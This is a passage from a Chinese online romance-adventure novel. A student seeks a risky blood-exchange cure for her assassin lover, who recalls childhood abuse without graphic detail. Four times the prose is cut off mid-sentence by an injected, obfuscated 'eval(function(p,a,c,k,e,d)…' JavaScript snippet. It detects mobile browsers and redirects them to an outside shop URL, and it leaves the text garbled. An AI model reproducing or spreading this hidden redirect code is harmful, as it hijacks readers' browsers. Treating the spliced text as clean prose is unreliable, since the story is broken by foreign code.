她对沐毓露说起以前从未向她提到过的往事：“有一段时间我很憎恶我的师姐，我认为她和我同受师父的教导，不该做出那样的选择。” 沐毓露认真地听着，并且思索着，徐在野所说的师姐应当就是齐夫人，那她口中的选择又是什么样的选择呢？是和那些令她感到无比愤怒的学生所做的一样的选择，嫁入高门成为当家主母么？ 她有些不解：“可是她们的确过上了比从前更好的生活，她们的孩子也拥有了从前没有的资源，换一个角度来看，她们也算是因此改变了自己的命运。” “若这算得上是更好的生活，那你当初为什么还要千辛万苦从王府逃出来？”徐在野言辞犀利，说话毫不留情：“王妃之位岂不比这些当家主母更加尊贵？你大可以丢了脸皮委身于穆衾寒，为他生儿育女，与他的平妻还有以后可能会纳进王府的侧妃侍妾们共侍一夫，如此算不算改变命运？” 徐在野三言两语就戳破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724315|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了梦幻的泡影，她继续说道：“其野学院有六大术业，修习律学是为了掌握断案之法，为了明晰法理大义；修习算学是为了掌握天文、历法、算数、卜筮等技能，有了这些技能足以在世间安身立命；书学和画学既为陶冶情操，更为以书画入道，通晓经世之理；至于武学和医学便更不必提，它们既是助人生存的技能，更可匡扶正义、悬壶济世。” “学院所教授的每一门学问，没有一个是让她们以此作为跳板嫁入高门，为那些男人生儿育女，和别的女人共侍一夫的。若只是为了待在后院，被柴米油盐困一辈子，那么掌握如此多的技能又有何意义？” 沐毓露听得愣住了，她陷入了深深的思索当中。 徐在野说到这里却长长地叹了口气：“但我也知道，如此境况，其实也怨不得她们。” “即便玄武国如今是女君当政，却还是无法力排众议，让国中女子也可参加科考，和男子一起同朝为官。她能做的最大的努力，便是让其野学院继续存在，促使更多的学院招收女弟子。” 最后她发出一声喟叹：“玄武国中尚且如此境况，何况天下之势。” 徐在野的这一番话令沐毓露醍醐灌顶，比任何书本上的大道理都更加有用。 她一路沉思着回到了学院，回去之后就把自己关进了房间，继续伏在案前思索，就这么埋头沉思到了深夜，连三州堇璱什么时候来的都不知道。 此时夜色已经浓稠如墨，他悄无声息地落在她敞开的窗前，轻而易举就跃了进来。 房内的烛火应声摇曳了一下，沐毓露转首望他，轻轻地说了一句你来了。 她随意地指了指案前的座椅，“自己随便坐吧。” 三州堇璱却是没有坐下，而是行至她的面前，眼里带着一丝问询：“这个时辰，我还以为你已经睡了，没想到屋里的灯火还亮着。” 沐毓露叹了口气：“我在想一些问题。” 三州堇璱问她：“什么样的问题让你思索到深夜？可有头绪了吗？” 沐毓露摇了摇头。 三州堇璱陪着她安静地待了一会儿后，朝她伸出手。 沐毓露低下头，目光在他的手上停留了一瞬，然后她没有丝毫犹豫地将手放到了他的掌心。 她已经有经验了，知道他这个举动是在邀请她一起出去吹吹风。 下一瞬，她的腰间一紧，一股沉稳的力道传来，她整个人被他拥进怀里，和他一起轻盈地掠出窗外。 夜风拂面，带着初春深夜的料峭，三州堇璱把她往怀里带了带，足尖在屋脊瓦片上几次轻点借力，很快便掠过沉睡的大街小巷，落在了城中一处最高建筑的飞檐之上。 此处视野开阔，脚下便是在黑夜中沉睡的城池，三州堇璱将沐毓露轻轻放下，脱下自己的外衫披在她的肩上。 “既然想不出结果来，那就歇一歇再继续想吧。”他在沐毓露的身旁坐下。 92. 第92章 此情此景，仿佛又回到了当初两人在朱雀京城并肩看万家灯火的时候。未曾想不到一年的时间，他们的生活变化竟然这么大。 沐毓露拢了拢披在身上的外衫，沉默地注视着脚下沉睡的城池，过了一会儿，她将目光移到坐在旁边的三州堇璱身上：“又有小半年的时间没见了，这段时间你做什么去了。” 三州堇璱没有多说什么，只说是在执行任务，沐毓露有些气恼地将头扭了回去，“什么也不肯告诉我，是怕我担心你，还是怕在我面前泄露了机密？” 三州堇璱见她生气了，犹豫了一下，将手臂抬起，却不是揽她，而是把手覆上她撑在砖瓦上微微带着凉意的手背。 春寒料峭，两人的手都有些冷，但是握在一起之后，很快便生出了一些暖意。 “是因为觉得没什么可说的，反正任务已经完成，说出来平白让你受到惊吓。”三州堇璱认真地同她解释着。 沉默在两人之间蔓延，只余风声不歇，又过了好一会儿，沐毓露轻轻叹了口气，她不再继续追问，而是换了一个问题：“你之前到朱雀国来救我，三州阁会不会罚你？” 她低低地道：“其实我一直都很担心会连累到你。” 三州堇璱更加用力地握住她的手，“杀手也有自由行动的时间，并不总是在执行任务。去朱雀国救你是我自己的行动，三州阁管不了。” 听他这么说沐毓露放心了许多，她转而又生出了一些好奇：“穆衾寒告诉过我，你帮他执行过两个任务。你们不是合作关系么？就算是和自己的雇主做对，三州阁也不会插手么？” 三州堇璱笑了笑：“每个任务之间都是独立的，我们只需要完成任务就好，与发布任务的人其实不会有过多交集，他们也称不上是我们的雇主。” 沐毓露了然地哦了一声，然后继续问：“那怎么样才称得上是雇主呢？” 她再次转头望着三州堇璱：“倘若我出银子雇你做我的贴身侍卫，雇一个月，雇一年，雇十年……这样的话我算是你的雇主了么？” 三州堇璱也转头将视线落到她的脸上，就这样注视了她一会儿之后，他才道：“理论上是可行的，但三州阁的杀手身价都非常贵。” 沐毓露点了点头：“我知道，像你这样的顶级杀手是不是尤其贵？” 她又轻轻地叹息一声：“若是能花银子把你雇在身边，我们是不是就不用像这样半年才能见一面了？” 三州堇璱眸光微动，他的声音很轻，被风吹得有些散：“其实杀手也是可以攒下银两离开三州阁的，只是我……” 说到这里他的声音戛然而止，但其实不用说她也知道，三州堇璱不是一般的杀手，以他的价值，不管出多少银两，三州阁肯定都不会放他走。 他们会一直用寒毒控制他，直到连解药都解不了他体内堆积的毒素为止。 沐毓露声音有些低沉：“他们会救你，但也不会放过你，是不是？” 她问：“那天你坠下悬崖，是三州阁的人来把你救走的吗？” 三州堇璱低低地应了一声：“收到小唐递来的消息时我刚刚服下解药，还没来得及运功调息就直接回到了朱雀国。他们知道我要去做什么，应该是从一开始就跟在我的身后。” 沐毓露算是明白了三州阁的做事风格，杀手的私事他们不会管，也不会横加阻拦，但是如三州堇璱这般的顶级杀手，十年百年也未必能培养出来一个，因此他们不会放他自由，也舍不得让他就这样轻易的去死。 沐毓露不想再谈论这么沉重的话题，她换了个话题道：“离开朱雀国之后我过得挺不错的，我很喜欢其野学院，也很喜欢我的师父。” 三州堇璱听见她这样说，眼中也带了笑意，他嗯了一声，然后点了点头：“我知道。” 虽然他们已经有小半年没见，但似乎她的事情他都知道。 沐毓露向他分享着自己这半年间的生活经历，然后问他：“那你的师父呢？之前听你说是在七岁那一年被师父带到三州阁的？” 三州堇璱转过头，沉默地望向深沉夜色里的城池轮廓，他的眼中时而浮现出些许迷惘之色，时而又流露出些许忧伤或是愤怒，显然沐毓露的问题将他拉回了一段不怎么愉快的记忆里。 过了好一会儿，他终于开口打破了沉寂。 “那日他正好路过怀安县最热闹的那条长街，而我恰好从那条街上最高的楼跳下来。” 沐毓露转头望他，却见他脸上没有什么表情，他只是极为平静地回忆着这一件烙印进了记忆里的往事，就像是在叙述别人的事情。 “那天是我流浪了那么多年，第一次感受到来自别人的善意。” 沐毓露原本以为三州堇璱这句话是在说他的师父，可是继续往下听，她才知道完全不是这么回事。 “一般在街道上巡检的人看到我们都会前来驱逐，可是那天他们没有。” “他们很和善地走到我面前，手上还拿着一个糖人，他们问我为什么独自在街上流浪，说要带我去找我的父母。” “可就是我的父母把我卖给人牙子的，我逃了出来，从此开始独自流浪。” “他们似乎很心疼我的遭遇，说愿意给我一口饭吃，问我愿不愿意在衙门做事。” “我相信了他们，然后他们就带我去了一个酒楼，说雅间里的人就是我的贵人，让我好好服侍他。” 说到这里他的声音顿了顿，搭在膝上的手不自觉蜷缩了起来，修长的手指紧紧地攥在一起，连指节都有些发白。 “那位贵人的官职不大，不过是一个三班衙役首领而已，但就是这样的一个小官吏，就可以在这个县上作威作福。” “被锁进房间之后我才知道他们所谓的服侍是什么意思，也才知道这位衙役首领有淫狎娈童的嗜好。” 听到这里沐毓露有些听不下去了，她反手握住他的手，稍稍用了用力，示意他若是不想说那就不说了。 片刻的沉默过后，三州堇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732064|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璱继续道：“他们锁住了我的去路，我没有地方可逃，最后只能从窗户跳了下去。” “而我的师父恰好在此时路过，他说我有勇气，也看出我是个习武的料子，这才将我带回了三州阁。若是那日没有碰见他，我可能也活不到现在。” 沐毓露突然想起自己抛绣球那日发生的事情，彼时他一直在楼对面看戏，直到她跳下去了才出手相救，于是问他：“抛绣球那天你看我坠楼了才现身救我，是因为那天的场景让你想起了小时候的事情吗？” 三州堇璱点了点头。 沐毓露又问：“那你一直戴着面具，即便受了重伤也不愿意当着别人的面把它摘下来，是不是也是因为这件事。” 又是一阵沉默，就在沐毓露以为三州堇璱不愿意再回答时，她看见他再次轻轻地点了点头。 “后来那个衙役首领成为了我剑下的第一个亡魂。可是我杀了他，却并没有什么感觉。”他低低地笑了笑：“既没有感觉害怕，也没有觉得痛快。” “从那个时候我就知道，师父说得没错，我天生就是当杀手的料。”今晚应当是他生平第一次向旁人说出心里话，说话时他的声音有一些颤抖，连嘴角都有一丝抽搐。 他抬手下意识想要抚上自己的面具，这时候才想起今天并没有戴面具。 好像自从将面具送给沐毓露之后，他就再也没有在她面前戴过面具了。 “我至今都记得那个人当初是如何夸我，他夸我比那些女童都生得好看。”他将手放下，继续回忆着：“可笑的是，我也是从那个时候开始逐渐原来意识到自己生得很好看。” “但其实那所谓的好看并没有什么用，有时候它反而让我觉得恶心。” 他蹙了蹙眉：“有时我会透过镜子去看自己的眉眼，越看越觉得面目可憎，我讨厌我身上的一切，它们在那个人口中描述得越美好，我就越觉得恶心……” 沐毓露在这时候打断了他。 她俯身吻住了他的唇，将他未说完的话都封了回去，然后在他错愕的注视下，一点一点地挪动着。 她亲了亲他紧绷的脸颊，然后吻上他的眉眼，最后她轻轻抚摸他攥紧的拳背，带着一点温柔的坚持，一点点掰开他僵硬地蜷缩在一起的手指。 拳头摊开，露出掌心几道狰狞的旧疤，她垂首注视了一会儿，然后又低下头吻上那些疤痕。 “你身上的每一处地方都很美，包括掌心的这些疤痕。”她一下又一下地吻他，然后伏在他的膝头抬眼看他：“美好的事物是不会让人觉得恶心的，令人恶心的是那个该死的人。” 她的眼睛里好像盛着星星：“你杀了他，等于救下了很多无辜的孩子，不要再因为那个人而惩罚自己了，他根本就不配让你这么多年都记着他。” 三州堇璱的眸底在这一刻掀起惊涛骇浪。 他想他的确是不会再记得那个人了，从此他只会记得今晚她伏在他膝头的模样。 他再也忘不掉她了。 93. 第93章 那晚他们在屋顶依偎着坐了很久，直到天边翻出些鱼肚白时三州堇璱才将沐毓露送回学院。 将沐毓露在庭中放下的时候，她揪住他的袖子，“这一次离开，你又要过多久才回来？” “这一次的任务简单，最多不过几日的工夫我就会回来。”三州堇璱握住她的手，朝她微凉的手指上呵了一口气：“好好照顾自己，安心等我回来。” 说完他转身离开，沐毓露站在原地目送着他离开的背影，在他即将走出院门时，她在他身后唤住他：“我有一个问题想问你！” 三州堇璱停下步子回头望她，见她在树下冲着他笑：“倘若离开三州阁，拥有自由了，你最想做什么？” 三州堇璱愣了一下，没想到她会问这个问题，他认真地思索着，然后眼里逐渐浮现起茫然。 过了一会儿，他轻轻摇了摇头，老实地回答她：“我不知道。” “在遇见你之前，我过去的十几年都只是麻木地训练，一个接一个地完成任务。”他对沐毓露道：“如果真能离开三州阁，我最想做的事情应当就是好好陪你吧。” 沐毓露点了点头，然后又摇了摇头：“不行不行，你再想一想，除了陪我之外，你自己最想做什么？” 见三州堇璱实在没有头绪，她又道：“暂时想不出来也没关系，你回去之后慢慢想，说不定等想到的那一天，就真的能离开了呢？” “好。”三州堇璱笑着应了一声。 那日之后又过了两三日，三州堇璱果然如他之前所言那般，很快就回来找她了。 两人晚上爬屋顶看星星，白天逛街听话本子，倒是难得一起过了两天平静日子。 两日之后三州堇璱又走了，说是要回三州阁一趟，他虽然没有说原因，但沐毓露也猜得出来，八成又到了该回去取解药的时间。 分别的时候沐毓露撅嘴揪住他的衣袖，问他有没有想好倘若获得自由想要做什么。 三州堇璱认真地思索了一下，然后道：“若真能有那一天，我想游山玩水，写下许多的游记，然后卖给茶楼说书的，让他们将这些故事讲给没机会出远门的人听。” 沐毓露笑着拍了拍手：“好呀好呀，这个主意不错。” 她也歪着脑袋思索着道：“那我就要开很多的客栈，这样你每到一个地方去，就都有落脚的地方。” 说到这里她突然想到什么，喃喃地道：“若真如此，我就雇心云来帮我管理客栈，等生意做大了，再雇默合来帮我走镖。” 自然了，她若真能将生意做这么大，客栈能够开到这天下的每一个角落去，光有心云和默合来帮她肯定是不够的。 她需要很多的伙计，需要有会经营的，会算账的，口才好的，以及厨艺好的，而这些人才其野学院都有。 换个角度想，其野学院的弟子们也多了一条路，离开学院之后会有更多别的选择，而不是只能嫁人生子。 此前困扰她许久的问题，突然间就有了一个解决的思路。 她知道个人的力量是渺小的，她就算将生意做大了，一个人也改变不了天下的局面。但就如同玄武国女子当政改变了朝廷格局，此非一朝一夕之功，也非一人之功，有人去做，总比永远无人涉足要好。 三州堇璱见到她突然间想事情想得出了神，并没有打扰她，只是安静地陪在她的身边。 从沉思中回过神来之后，沐毓露才发现三州堇璱安静地陪她一起在树荫底下站着，她轻轻晃了晃他的衣袖，“我相信我们说的那一天很快就会实现的，你相信吗？” 三州堇璱注视着她，认真地道：“我相信你。” 两人四目相接，在阳光下相视一笑。 徐在野在这个时候抱着书踏进院子，见到三州堇璱后她轻轻咳了两声，等院子中的两个人分开，三州堇璱告辞离开之后，她才示意沐毓露随她一起进屋。 进屋之后徐在野将书放下，坐在窗边直接开口问道：“这两日你都跟他在一起？” 沐毓露赶紧坐下帮忙整理桌上的书，顺便嗯了一声回答她的问题，紧接着又听见徐在野带着点疑惑的语气问：“既然你们两个人如此难分难舍，那为什么不干脆好好在一起？” 沐毓露啊了一声，抬头看坐在对面的徐在野，目光里也有一点疑惑，她还以为师父会阻止她和三州堇璱在一起。 却听徐在野继续道：“他如今没有脱离三州阁，想要与你见面恐怕也不大容易，你们二人何必这样苦着自己？干脆叫他离开三州阁，反正这么些年，他银子肯定攒够了。” 沐毓露听她说得如此轻描淡写，嘴张开又闭上，闭上又张开。 三州堇璱无法脱离三州阁，并不全然是银子的问题，更重要的是三州阁不肯放人，不愿意给他解毒。 她最后还是将这个顾虑告诉了徐在野，并且迟疑地问她：“我还以为您会反对我和他在一起，毕竟他是个杀手，在江湖上的仇家也比较多……” 徐在野望了她一眼，掰着指头道：“杀手怎么了？杀手多好呀，武功高强，身材好，体力也好。” “而且再怎么说三州堇璱也是江湖上叫得出名号的数一数二的高手，像他这种级别的杀手接一单任务恐怕能赚不少银两。这么说起来他长得好看还不用你养，依我看也就只有他配得上你了，我为什么要反对？” 沐毓露听得目瞪口呆。 徐在野则继续语不惊人死不休：“至于他在江湖上有仇家，这也没什么可惧的，谁在江湖上还没有两个仇家？真要这么说你的仇家可是朱雀国的摄政王穆衾寒，你比三州堇璱好到哪里去？” “再说了，真要说江湖上的仇家，谁也没有我师父也就是你师祖多。” 沐毓露又啊了一声：“师父的师父？” 她好奇地追问：“师祖她老人家怎么会在江湖上招惹那么多仇家？她不是四处讲学么？而且她还是一个悬壶济世的游医。” 在沐毓露眼里，悬壶济世的医者以及四处讲学的老师，这两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738501|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身份怎么看也不像是会在江湖上与人结仇的样子。 徐在野轻轻地哼了一声：“这话你是从我那个师姐口中听来的吧？” 沐毓露想了想，这话她是从齐知止那里听来的，不过想来齐知止所知道的关于师祖的事情，应当也是从齐夫人那里听来的。 徐在野早已料到般挑了挑眉，“老师和游医，听起来算是令人敬仰的角色。” “不过师父她还有另一个令江湖上的人闻风丧胆的身份，那就是举世无双的暗器锻造师。” “暗器锻造师？”沐毓露呆住了，她只知道这位师祖博古通今、满腹学问，却是不知她还是个江湖上的狠角儿。 徐在野继续道：“她有许多的身份，但这些身份是不互通的，这世上鲜有人知，曾经锻造过无数眨眼之间取人性命的暗器锻造师，也是四处游历悬壶济世的游医。” 沐毓露一边听一边点头，如今她算是明白了，她的师祖是黑白两道通吃的主儿。 接下来徐在野说到了关键之处：“师父年轻的时候同三州阁阁主结下过梁子，她曾经在江湖上放言，凡是三州阁中的杀手，想要脱离组织而不能的，都可以到她这里来，她会无偿替那些人解毒。” “仅仅是我知道的被师父解过毒的三州阁杀手就有十几个，这说明师父的解毒方法是有用的，而三州阁所谓的无人可解之毒，其实也是有法可解的，只不过当时可解此毒的唯有师父一人而已。” 说到这里她往前探了探身子，注视着沐毓露，然后抬手指了指自己，“而我习得了师父的一身医术，如今我便是这个世上唯一可解三州阁奇毒的人。” 沐毓露恍然想起，齐夫人倒也同她提起过这件事，说她们的师父是世上唯一可解此毒的人，也许徐在野习得了师父的本事吧，但是她对此并不确定。 真是没有想到，她如今会成为徐在野的弟子，而徐在野当真会解这奇毒。 沐毓露惊喜地问：“那您是不是可以帮三州堇璱解除体内寒毒？” 可随即她又不安地道：“可是三州阁是世上最顶级的杀手组织，他们绝对不会放三州堇璱离开，您若是帮他解毒，岂不是在跟这个组织作对？他们会不会报复您？” 这也是她这段时间一直憋着，没有求徐在野帮三州堇璱解毒的原因。 徐在野却是一副无所谓的样子：“三州阁的总部就在玄武国，首先他们要搞清楚自己是在谁的地盘上。” 沐毓露长长地哦了一声，是了，且先不说师祖和师父在江湖上的人脉，就连玄武国当今圣上都是师父的弟子，三州阁就算想要动她也要掂量掂量一下能否承担得起后果。 直到现在沐毓露才知道，她到底抱上了一个多么粗的大腿！ 方才的忧虑一扫而空，她的脸上又浮现出平日的笑容：“师父，那解除寒毒的法子到底是什么呀？” 徐在野定定地注视着她，沉默片刻之后说了两个字：“换血。” 沐毓露的笑容僵硬在了脸上。 94. 第94章 徐在野接下来所说的话更令她愁眉不展。 “不过换血之术的难度很大，饶是师父这般医术高超之人，换血的成功率也只有一半，你需要做好心理准备。” “除此之外还有两个难处，第一便是换血之前需要进行匹配，也就是说即便有人愿意助他换血，也需得先匹配一下两人的血是否会互相排斥，倘若互相排斥便不可行。” “第二便是三州阁的毒的确难解，若想彻底解除，几乎要全身换血，而不是只换部分，如此难度便比寻常的换血之术要大得多，成功的概率也就不足一半了。” 沐毓露刚听到换血两个字的时候就心肝一颤，越听到后面越是心惊胆颤：“那若是寻不到匹配之后互不排斥的换血之人该如何？这换血之术便无法进行么？” 徐在野摇了摇头：“倒也不是，若真寻不到可匹配之人，可以用动物的鲜血替代。” 沐毓露瞪大了眼睛：“动物！？” 徐在野嗯了一声，然后补充道：“但动物的血终归是比不上人血好用，取动物的血弊处在于每过几年就得更换，换血之人每隔几年就得进行一次换血之术，这对身体的损伤自然会很大。” 沐毓露垂下头思索了半天，紧接着小心翼翼地问出一个最关键的问题：“您方才说换血之术的成功率只有一半，若是全身换血，成功率更低，那换血没成功的人会如何？是单纯解不了毒，休养一段时间即可，还是会……” “会死。”徐在野斩钉截铁地回答她。 沐毓露沉默了。 两人相对无言，一阵长久的静默之后，徐在野叹了口气：“取血之人身体损伤也会很大，但是倒无性命之忧，修养一段时间便可恢复。” “但换血之人就不好说了，相当于一场在鬼门关走一趟的豪赌，成功了便可摆脱三州阁的束缚，失败了就以命相抵。” 沐毓露听完这些话有些退缩了：“若是不换血，他还有一段时间可活，也许是五年，也许是十年，也许会更久。但若是换血失败，他当场就会没命。” 徐在野却道：“账不是这么算的。” “三州阁的寒毒毒性猛烈，即使每月固定的时间去领取解药，毒素在体内堆积，依然会伤其根本。也就是如三州堇璱这般内力高深的人可以硬撑个十几二十年，换作旁人早就药石无医毒发身亡了。” “但即便是三州堇璱，也躲不过这最后的结局，他最多还有两三年的寿命，你当真愿意跟一个只有几年可活的人在一起么？等他死了之后你的漫长余生该如何度过？用下半辈子去怀念他吗？” “即便你不在乎，那三州堇璱呢？他也愿意如此么？而且两三年是最乐观的估计，如他这般身中奇毒又过着刀尖上舔血的日子，总有一天会遭遇不测的。” “譬如此前在朱雀国三皇子宴上，那一次若非你相救，他还能活到现在么？” 徐在野最后抛出一个沉重的问题：“以你对三州堇璱的了解，他若是知道自己也许命不久矣，或是在某次执行任务时受了重伤，他会如何做？” 沐毓露感觉自己有些呼吸不上了。 她抿了抿唇，然后深深地吸了口气。 以她对三州堇璱的了解，但凡他知道自己恐怕只有几年可活，那他一定会消失得无影无踪，绝不会让她找到自己。 想到这里她突然就反应过来，为何每次三州堇璱望向她的目光里总是笑意掺杂着忧伤。 她能感觉得到，有时候他并非如自己所说的那么忙，而是刻意躲着不见她，但有时候他又像是忍不住前来看她似的，无比珍惜与她一起度过的每一分每一秒。 如今回想起与他相处的点点滴滴，她这才后知后觉发现，也许他早就在暗中向自己告别了。 怪不得同她待在一起的时候，他总是那般清醒克制，就连牵她的手都小心翼翼，唯一一次近乎失控的时候，还是在大半年前她刚逃出朱雀国，两人在庭院里久别重逢的那次。 此后他似乎总是与她保持着距离，分明他就在她的身边，分明望向她的眼神里有许多浓烈得化不开的情绪，但他就是不肯再靠近她一点。 是了，他武功如此高强，又怎会不知自己身体的情况，恐怕他早就知道体内的寒毒已无法可解，所以在面对她的时候才会如此矛盾。 分明想要靠近，却又克制远离，在她询问倘若他能获得自由最想做什么时，他恐怕正在心里同她告别。 徐在野观察着她的表情，知道她已经想清楚了，于是说道：“用这条命去赌一个可以与你长相厮守的未来，我想他一定愿意。找个时间与他好好聊一聊，若是做下决定就来找我，我帮他施行换血之术。” 徐在野说完就离开了，嘱咐沐毓露将她带来的这些书都熟读一遍，几日后她要考校她。 换血这件事情还没有定论，在此之前书是要读的，功课也是不能耽误的。 于是接下来的几日，沐毓露就一边读书一边等待三州堇璱再来找她。 几日后三州堇璱再来寻她时，她把这件事情告诉了他，本想同他再斟酌一下利弊，却不想他一口就答应了下来。 果然如徐在野所言，知道可以用这条性命赌一个和她长相厮守的未来后，他毫不犹豫就做下了决定。 接下来要做的便是寻找相匹配的取血之人了，然而徐在野将愿意献血之人都检测了一圈之后，发现居然唯有沐毓露的血与三州堇璱相匹配。 得知这个消息时沐毓露惊喜万分，她原本以为取血之人不是那么好匹配的，没有想到这件事情竟然着落在了自己身上。 而且倘若取心云默合她们的血，她心里多少有些过意不去，徐在野此前说过，取血对身体的伤害极大，就算取血之后身体可以慢慢调养，但有一些损伤也是不可逆的。 若是取别人的血，她心里会有负担，但若是取她的血，那就无碍了。 她和三州堇璱本就是同生共死之人，这一路以来她与他都在相互救赎，早已不分彼此。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738502|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然而三州堇璱在听见这个消息时与沐毓露的反应截然不同，知道与他相匹配的人是她之后，他当即拒绝进行换血之术。 不论沐毓露怎么劝他，他都毫不动摇，气得她把自己关进房间里几天不肯理他。 若在平时他根本就不可能惹她生气，即便她稍有不悦，在眉头还没皱起来的时候他就已经开始哄她了。 可是这次他竟然当真不为所动，她不愿见他，他竟也不来找她，两人就这样僵持着，一点商量的余地都没有。 心云、默合还有檀香轮流来劝沐毓露，怕她心绪不佳茶饭不思，这样会饿坏了身子，却没想到几日后她自己就调理好了，又开始专心吃饭，然后上街买迷药买绳索，一副磨刀霍霍的样子。 几人面面相觑，继续劝她：“他若是死活不肯，你可不能硬来啊。” “我偏要硬来。”沐毓露咬牙切齿：“他若是死活不肯，那我就迷晕了他，然后把他绑到师父那里去，等他醒过来时换血之术都已经做完了！” 默合摇了摇头，觉得这样不妥：“他武功如此高强，普通的迷药恐怕对他没用，刚一进屋他就能闻出来。” 心云苦思冥想了一会儿，给沐毓露想了个新主意：“那就花些银两，雇一些武林高手，让他们伪装成劫匪把你掳走，他一定会现身相救的。” 檀香瞬间就明白了心云的意思，接过她的话对沐毓露道：“趁他和那些武林高手缠斗的时候，你直接一板砖拍晕他，到时候他就不得不从了。” 沐毓露望着她们，嘴角抽搐了一下。 真没想到这几个丫头路子比她还野。 于是她很愉快地采纳了她们的建议。 这个计划立马就被提上了日程，沐毓露负责约武林高手，檀香负责去给三州堇璱通风报信，心云则负责采买更有效力的迷香。 她们后来对计划进行了完善，认为迷香还是比板砖要靠谱一些。等三州堇璱与那些武林高手激斗的时候，沐毓露就突然现身吸引他的注意，然后由默合动手洒出这些迷药。 这个计划在她们的视角里可以说是天衣无缝，然而千算万算，她们算错了三州堇璱的武力值。 沐毓露花大价钱请来的那些武林高手还不够他一锅端的，她甚至没来得及趁乱现身，三州堇璱就把他们一群人都撂倒了。 反手将剑插回剑鞘，他抬眼望向沐毓露藏身的方向，眼中带有一些怒意。 沐毓露灰溜溜地从藏身之处跑出来，还没有走到他面前站稳，就被他一把捞了起来扛在了肩上。 躲在暗处的心云三人低呼一声，原本想跟沐毓露一起出来诚恳地认个错，看到这一幕之后她们又纷纷缩了回去。看这架势她们是真的把三州堇璱惹毛了，哪里还敢钻出来在他眼前晃。 这还是她们头一次见三州堇璱如此动怒，眼中甚至都有了杀气，她们是很讲义气没错，但这种关键时候也只能把沐毓露卖掉了。 只好由她独自去承受三州堇璱的怒火了。 95. 第95章 三州堇璱就这么把沐毓露扛回了学院。 总算他还顾及着她的颜面，没有这样堂而皇之地扛着她从正门进去，而是飞檐走壁，直接将她带回了院子。 期间沐毓露也奋力挣扎过，无奈他力气太大，只是单手将她扛在肩上，掐着她的腰，她就完全无法动弹。 回到院子之后他轻轻地把她放下，看都没有看她一眼，转过身就想走。 沐毓露顾不得发酸的双腿，慌忙上前两步拉住他的袖子，“等一下，你先别走！” 三州堇璱停下了步子，却是没有回头，只是微微侧首，沉默地等待着她的下文。 “我不是故意想要骗你的，我实在是没有办法了。”感觉到他是真的生气了，她急得红了眼眶，“若是你愿意换血，我也不至于想出这些昏招，我……我只是想让你活着。” 自己都如此卑微了，三州堇璱却完全没有转过头来搭理她的意思，沐毓露气得一把甩开他的袖子，“你到底有没有考虑过我的感受，你让我就这样眼睁睁看着你去死吗？还是你打算悄悄离开我，等有一天告诉我去执行任务，然后就再也不回来了，是吗？” “你忍心让我这样日复一日地等待，让我的余生让我的下半辈子就这样在无尽的等待中度过吗？” 三州堇璱终于在这时回过头来，也是在这个时候沐毓露才发现，他居然也红了眼眶。 注视着他微微发红的眼睛，她把没说完的话咽了回去，呆在了原地。 他回过身往前走了两步，在距离沐毓露很近的地方站定，俯身牵起她的手，仔细地检查了一番，然后才垂着头道：“若他们手脚没个轻重，当真伤了你怎么办？” 沐毓露愣了一下，这才反应过来他说的是那几个被她雇来的武林高手，她还没来得及开口，又听见他接着问：“若是他们当中有人起了歹心，当真将你掳走了怎么办？” 沐毓露从没有见过他这般模样，心虚地嗫嚅着道：“我给了他们银两的，他们应当不会不守江湖规矩。” 她反握住他的手：“而且不是还有你吗，我知道你无论何时何地都会来救我的。” 说到这里她又借机劝他：“若是没有你，这世上就不会再有人来救我于危难了。” “行换血之术吧，好吗？” 三州堇璱低垂着头，斑驳的光影交错在他脸上，这令她看不清他的表情。 良久，一滴滚烫的泪砸在了她的手背上。 “以后不许再这样胡闹了。”三州堇璱的声音里甚至都带有了哭腔。 沐毓露又是一怔，她没有想到这一场幼稚的闹剧竟然会让他如此难过，等她回过神来的时候，眼前的人已经消失得无影无踪了，匆匆赶来的心云三人则站在院门口同情地望着她。 手背上的那滴泪已经干涸，但滚烫的感觉犹在，那滴泪好像烙印在了她的心口，让她的心脏一阵一阵地疼。 